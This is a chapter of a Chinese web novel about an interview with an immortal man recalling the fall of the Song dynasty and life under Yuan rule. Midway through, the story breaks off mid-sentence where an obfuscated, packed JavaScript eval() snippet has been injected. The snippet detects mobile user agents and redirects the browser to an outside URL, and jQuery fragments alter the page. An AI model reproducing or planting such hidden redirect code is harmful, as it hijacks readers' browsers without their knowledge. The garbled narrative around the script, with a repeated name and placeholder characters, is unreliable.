默认冷灰
24号文字
方正启体

36.第一次访谈

作者:墨菲斯2099本书字数:K更新时间:
    第一次访谈,


    2026年4月25日夜 杭州西湖国宾馆


    雨是晚上十点开始下的。


    林晚声在茶室等了二十分钟,壶里的龙井已经泡到第三道,水色从清绿转成淡黄。


    她看着窗外,西湖在雨中只剩模糊的轮廓,远处的雷峰塔亮着灯,在雨幕中晕开一团昏黄。


    “抱歉,来晚了。”


    声音从门口传来。林晚声回头,看见赵夜明站在那儿,穿着深灰色的中式外套,头发有些湿,几缕银发贴在额前。他手里提着一把黑色长柄伞,伞尖还在滴水。


    “没事,我也刚到。”林晚声起身。


    赵夜明将伞立在门边,走到茶桌对面坐下。茶室不大,六叠榻榻米大小,只摆了一张矮几,两个蒲团。灯光是暖黄的,从纸灯罩里透出来,在墙上投出摇曳的影子。


    “雨下得突然。”赵夜明接过林晚声递来的茶,抿了一口,“不过西湖的雨,九百年了,还是这样。说来就来,说停就停。”


    这是林晚声第二次见他。第一次是金山寺,今天是第二次。每一次,她都感觉这个人更真实一些,更“人”一些,不再是文献里的符号,不是传说中的英雄。只是是一个活了太久、见过太多的老人。


    虽然从外表看,他依然只有三十多岁的样子。


    “赵先生,”她打开录音笔,摊开笔记本,“上次您讲到,赵璎珞去世,您离开江南。那之后...您去了哪里?”


    赵夜明捧着茶杯,看着杯中起伏的茶叶,沉默片刻,缓缓道,


    “那是汴京城破之后,我游荡了一百年去过蒙古、去过东瀛、去过很多地方。最后我发疯了,失去了理智,变成了野兽。玄尘子找到我,之后带我去了蜀中。我在蜀中又住了三十年,在那里我恢复了理智。”


    “为什么是蜀中?”


    “因为远。”他说,“离汴京远,离临安远,离所有熟悉的人和事都远。而且蜀道难,朝廷的耳目到不了那么深的山里。我需要一个地方,安静地...消化一些事情。”


    雨敲打着窗棂,淅淅沥沥。


    南宋 端平元年(1234年)蜀中青城山


    道观藏在深山里,要爬三个时辰的山路。石阶上生着青苔,滑得很,下雨天更没人走。赵承影住在后山的茅屋里,自己开了一小片地,种些菜,养两只鸡,过着与世隔绝的日子。


    他改名叫赵静,安静的静。道观里的道士问他从哪来,他说从江南来,家里遭了兵灾,只剩他一个,来山里寻个清净。道士们信了,给他一间茅屋,每月给他些米面,换他帮忙抄经。


    他每天的生活很简单,天不亮起床,打坐,生火做饭,然后去地里干活。中午抄经,下午读书,道观里有些藏书,大多是道经,也有些杂书。晚上继续打坐,然后睡觉。


    他尽量不想过去的事。不想汴京,不想璎珞,不想那些死去的人。但记忆像鬼,总在夜里找上门来。有时梦见城门外的风雪,梦见张叔夜浑身是血地倒下;有时梦见江宁的小院,梦见璎珞在桂花树下对他笑;更多的时候,是梦见自己站在一片血海里,周围全是尸体,他浑身浴血,分不清是自己的血还是别人的。


    每次惊醒,都是一身冷汗。


    他开始喝酒。从山下镇子里买最烈的烧酒,晚上喝,喝到不省人事,就能一夜无梦。但第二天醒来,头痛欲裂,胃里翻江倒海,更难受。


    道士们劝他少喝,说酒伤身。他笑笑,说知道了,然后继续喝。


    只有玄尘子懂他。那个老道士偶尔会来看他,带些药材,陪他下盘棋,不说话,就下棋。有时下一整天,一句话不说,只有落子的声音。


    “你这是在折磨自己。”有一次,玄尘子终于开口。


    “不然呢?”赵承影看着棋盘,“道长,您活了多久了?”


    “二百七十年。”


    “那二百七十年,您失去过最重要的人吗?”


    玄尘子沉默,落下一子,“失去过。师父,师兄弟,还有...一个姑娘。”


    “那您怎么熬过来的?”


    “熬。”玄尘子说,“一天一天熬。刚开始很痛,像心被挖掉一块。后来痛习惯了,就麻木了。再后来...就忘了痛的感觉,只记得有那么个人,有那么段事。”


    “可我不想忘。”赵承影说,“忘了,她就真的没了。”


    “那就记着。”玄尘子看着他,“但别只记着痛苦,记着好的。记着她笑的样子,记着她说过的话,记着你们在一起时的开心。痛苦会杀死你,但美好的记忆...能让你活下去。”


    赵承影没说话。他拿起酒壶,灌了一大口。酒很辣,从喉咙烧到胃里。


    “您说,我能活多久?”他忽然问。


    “不知道。”玄尘子摇头,“也许二百年,也许五百年,也许...永远。”


    “永远..”赵承影笑了,笑里有泪,“那我得记着她多久?一百年?一千年?道长,我记性不好,怕记不了那么久。”


    玄尘子起身,拍了拍他的肩,“那就写下来。把你想记的都写下来,写在本子上,写在心里。写多了,就忘不了了。”


    那晚,赵承影又开始写日记。


    用最便宜的毛边纸,自己磨墨,就着油灯的光,一个字一个字地写。


    写汴京,写璎珞,写那些死去的人。


    写的时候,他会哭。眼泪滴在纸上,把墨迹晕开,像一朵朵黑色的花。


    但他继续写。因为除了写,他不知道还能做什么。


    “我在蜀中住了三十年,”赵夜明说,“前十年是行尸走肉,中间十年是麻木,最后十年...才慢慢活过来。”


    林晚声停下笔,“怎么活过来的?”


    “时间。”赵夜明说得很淡,“时间是最好的药,也是最狠的刀。它慢慢把你的心磨出茧子,磨到感觉不到痛。然后你就发现,你能吃饭了,能睡觉了,能看着日出日落发一会儿呆了。再然后...就能笑了。”


    “您笑过吗?在那三十年里。”


    “笑过。”赵夜明点头,“道观里有只野猫,经常来我这儿讨食。我喂它,它就蹭我的腿,喵喵叫。有时候看着它笨拙地抓蝴蝶,我会笑。虽然笑完心里还是空,但至少...能笑了。”


    茶凉了。林晚声起身续水,看着窗外的雨。雨小了些,变成细密的雨丝,在灯光中斜斜地飘。


    “那之后呢?您离开蜀中了?”


    “嗯。端平元年,蒙古灭金,消息传到蜀中。我知道,南宋的好日子到头了。”赵夜明顿了顿,“金国一灭,蒙古下一个目标就是南宋。我想去看看,看看这个我曾经用命守护的国家,最后会怎么样。”


    南宋 祥兴二年(1279年)崖山外海


    船在海上漂了三天。赵承影混在一艘商船上,说是去广州做生意。船主是个老水手,姓陈,话多,一路上都在说蒙古人有多凶,南宋要完。


    “听说没?临安丢了,皇帝都让人抓了。”陈船主喝口酒,叹气,“大宋就这么完了。唉..”


    赵承影没说话。他看着海,海水是深蓝色的,望不到边。风吹过来,带着咸腥味。他想起汴京,想起那条结冰的汴河,想起站在城楼上看着金军营寨的那个雪夜。


    大宋从北到南,从强盛到衰亡,他都在看着。像一个看戏的,看着台上的悲欢离合,看着戏从开场到散场。


    “客官,您去哪儿?”陈船主问。


    “崖山。”赵承影说。


    “崖山?那儿在打仗呢!蒙古人的船都在那儿,您去送死啊?”


    “就去看看。”


    陈船主看了他一会儿,摇头,“你们这些读书人,就是喜欢看热闹。行,送您到附近,您自己找小船过去。先说好,出事我可不负责。”


    船又走了两天。第三天傍晚,远远看见一片火光。是战船在烧。浓烟冲天,把半边天都染黑了。喊杀声,惨叫声,战鼓声,混在一起,被海风撕碎,断断续续地飘过来。


    赵承影租了条小船,让船夫划近些。船夫不敢,说再近就要被箭射了。他多给了些钱,船夫才勉强往前划了半里。


    近了才看清,那是一场屠杀。


    南宋的战船被蒙古人包围,像困兽,在作最后的挣扎。船在烧,人在跳海,海水被血染红。一艘大船上,一个文官模样的老人抱着一个孩子,站在船头。孩子很小,大概七八岁,穿着龙袍,是小皇帝。


    老人是陆秀夫。赵承影认得他,是个耿直的文官。


    他看见陆秀夫对着孩子说了些什么,然后深深一揖。孩子哭了,抱着他的腿。陆秀夫摇头,抱起孩子,纵身一跃,


    “砰!”


    水花四溅。两个人影迅速沉没,只剩一圈圈涟漪,很快被血浪吞没。


    紧接着,更多的船开始自沉。将领,士兵,官员,百姓,一个接一个跳海。有人喊着“大宋万岁”,有人喊着爹娘,更多人什么也不喊,就那么跳下去,像下饺子。


    海水越来越红。


    赵承影站在小船上,看着这一切。他的手在抖,他想做点什么,但能做什么?冲过去?杀几个蒙古兵?救几个人?没用的。大势已去,一个人改变不了什么。


    就像当年在汴京,他拼了命,杀了完颜宗望,救了汴京一时。但大宋还是亡了,只不过晚了一百年。


    “客官,走吧。”船夫声音发颤,“再看下去,要遭殃了。”


    赵承影没动。他看着那片血海,看着那些沉没的船,看着渐渐熄灭的火光。太阳西沉,把海水染成暗红色,像凝固的血。


    他想起了李纲。那个病重在床,还握着他的手说“守住汴京”的老人。他想起了陈东,想起了张叔夜,想起了那些在汴京城头战死的人。


    他们守住的,就是这样一个结局吗?


    “走。”他说。


    小船调头,驶离那片海域。赵承影回头,最后看了一眼。暮色四合,海天一色,分不清哪是海,哪是天。只有那片红色,在渐渐暗下去的天色中,像一道永不愈合的伤口。


    那天晚上,他在船舱里坐了一夜。没点灯,就坐在黑暗里,听着海浪声。


    天快亮时,他拿出那本日记,磨墨,提笔,写下,


    “祥兴二年二月六日,崖山。大宋亡。陆秀夫负帝蹈海,从死者十万。海水尽赤。余在侧,无能救。痛甚,然泪已干。自此,天下再无汉人国。”


    写完,他搁下笔,看着纸上的字。墨迹未干,在晨光中泛着幽暗的光。


    他没有哭。眼泪在蜀中那些年就流干了。


    他只是觉得累。很累很累,像背着山走了几百年,终于到了山脚,却发现山那边还是山,永远没有尽头。


    船在海上漂着,不知要去哪。他也不问,随它漂。


    反正去哪都一样。这天下,已没有他的家了。


    “我在海上漂了半个月,”赵夜明说,“最后在广州上了岸。那时候广州已经被蒙古人占了,到处是元兵,汉人低着头走路,像狗。”


    林晚声记录的手顿了顿,“那三十年...您是怎么过的?在元朝。”


    “苟活。”赵夜明说得很直接,“元朝把汉人分四等,南人是最下等。不能做官,不能有兵器,晚上不能出门。我换了个名字,叫赵默,沉默的默。在城南开了家小书店,卖些旧书,勉强糊口。”


    “您见过蒙古皇帝吗?”


    “见过忽必烈。”赵夜明说,“他南巡到杭州,全城戒严,百姓跪在路边迎驾。我跪在人群里,看着他骑马过去。很魁梧,满脸胡子,眼神很凶。他看着跪了一地的人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303610|198636||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,笑了笑,那种...征服者的笑。”


    “您当时什么感觉?”


    “愤怒。”赵夜明顿了顿,“然后是悲哀。为跪着的这些人悲哀,为这个国家悲哀,也为我自己悲哀。我曾经拼了命想守住的东西,在真正的强权面前,不堪一击。历史就是这样,你方唱罢我登场,没有谁永远是对的,只有谁更强。”


    茶室里很静,只有雨声,和录音笔运转的细微嗡鸣。


    林晚声看着对面的男人。他说话时很平静,像在讲别人的故事。但偶尔,在某个词、某个停顿里,她能感觉到那种深埋的痛,不是尖锐的痛,是钝的,陈年的,像骨头里的风湿,平时不显,阴雨天就发作。


    “您在元朝...有过朋友吗?”她问。


    赵夜明沉默了一会儿,才缓缓道,


    “有一个。是个蒙古人,叫巴尔,在衙门当小吏。他常来我书店看书,喜欢汉人的诗词。我教他认汉字,他教我蒙语。有时候我们一起喝酒,他喝多了就骂朝廷,说当官的都贪,说百姓苦。我说你们蒙古人占了我们的地方,还嫌不好?他说,占是占了,但过得还不如从前。”


    他喝了口茶,继续道,


    “至元十九年(1283),巴尔出事了。他帮几个汉人朋友说了几句好话,被人告发,说私通南人,图谋不轨。抓进大牢,三天就死了,说是病死的。我去收尸,浑身是伤,没一块好肉。”


    “您..”


    “我什么都没做。”赵夜明说,“不能做。那时我已经活了好几百岁,且我和蒙古皇族也在寻找血族。我知道什么能做什么不能做。我去大牢打点,给了狱卒些钱,把尸体领出来,埋在山里,立了块简单的碑,上面用蒙文和汉文写着朋友巴尔之墓。”


    “后来呢?”


    “后来碑被人砸了。”赵夜明说,“说汉人不能给蒙古人立碑。我把碎碑捡回来,埋在他坟边。再后来,那地方盖房子,坟平了,碑也没了。现在去找,找不到了。”


    他笑了笑,笑容很淡,


    “所以你看,历史就是这样。轰轰烈烈的大事,史书上就几行字。个人的悲欢离合,连一个字都没有。巴尔活了三十几年,爱过,恨过,帮过人,也被人害过。然后死了,没了,像没存在过。如果不是我今天提起,这世上没人记得他。”


    林晚声握紧笔。她想说些什么,但说不出来。安慰的话太轻,理解的话太假。最后她只是说,


    “您现在记得他。”


    “嗯,我记得。”赵夜明点头,“我记得很多人。张叔夜,陈东,张叔夜,□□,还有...无数我叫不出名字的人。他们死了,我活着。我活着,就得记着。这是长生的责任,也是诅咒。”


    窗外,雨停了。月亮从云层后露出来,很圆,很亮,照在湿漉漉的西湖上,泛着碎银般的光。


    “今天就到这儿吧。”赵夜明站起身,“下次...聊聊明朝的事。那是个很有意思的时代,好人特别好,坏人特别坏。而且,我在明朝...差点死了。”


    “差点死了?”林晚声一愣。


    “嗯。”赵夜明笑了笑,笑容里有种说不清的情绪,“长生不代表不死。只是很难死。但明朝那次,真的很近,近到能看见鬼门关的门槛。”


    他拿起伞,走到门口,又回头,


    “林小姐,谢谢你听我说这些。这些事在我心里憋了九百年,现在说出来,感觉...轻松了些。”


    “该我谢谢您。”林晚声说,“愿意告诉我。”


    赵夜明点点头,推门离去。林晚声站在窗边,看着他撑开伞,走进夜色,沿着湖边小路慢慢走远。银发在月光下很醒目,像雪。


    她坐回桌前,看着笔记本上密密麻麻的字。墨迹在灯光下泛着幽暗的光,像那些沉在历史深处的记忆。


    录音笔还在转,发出细微的沙沙声。她关掉它,收拾东西。走出茶室时,值班的服务生正在打哈欠,见她出来,点点头,


    “林老师还没走啊。”


    “快了。”她笑笑。


    走出宾馆,夜风吹来,带着雨后泥土和湖水的气息。很清新的味道,但她总觉得,能闻到一丝若有若无的血腥味,不是真的血腥,是记忆里的,文字里的,九百年沉淀下来的那种气息。


    手机震动,是秦所长的信息,“采访怎么样?”


    她回复,“很顺利。他讲了很多,我需要时间消化。”


    “注意身体,别熬太晚。”


    “好。”


    她收起手机,沿着湖边走。夜很深了,路上没人,只有路灯安静地亮着。湖水平静,倒映着月亮和星光。


    她想起赵夜明说的那句话,


    “历史就是这样,你方唱罢我登场,没有谁永远是对的,只有谁更强。”


    可她还是想相信,有些东西比强弱更重要。


    比如忠诚,比如守护,比如在绝境中不放弃的那点光。


    不然,这九百年的坚守,还有什么意义?


    手机又震了一下,是赵夜明发来的短信,很短,


    “忘了说,下次访谈,可以带录音笔,也可以带相机。有些东西,光靠文字记不住。”


    她回复,“好。您也早点休息。”


    那边没再回。


    她继续往前走。前面是白堤,路灯在湖面上拉出长长的光带。远处有夜航的船,亮着灯,在湖心慢慢移动,像一颗流浪的星。


    九百年前,也是这样的夜晚,也是这样的湖。只是那时没有路灯,没有游船,只有一个孤独的人,坐在乌篷船上,看着月亮,想着再也回不去的故乡,和再也见不到的爱人。


    时间往前走,湖还在,月亮还在,孤独也还在。


    变的只是看湖的人,和湖里的倒影。


    【第一次访谈结束】
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)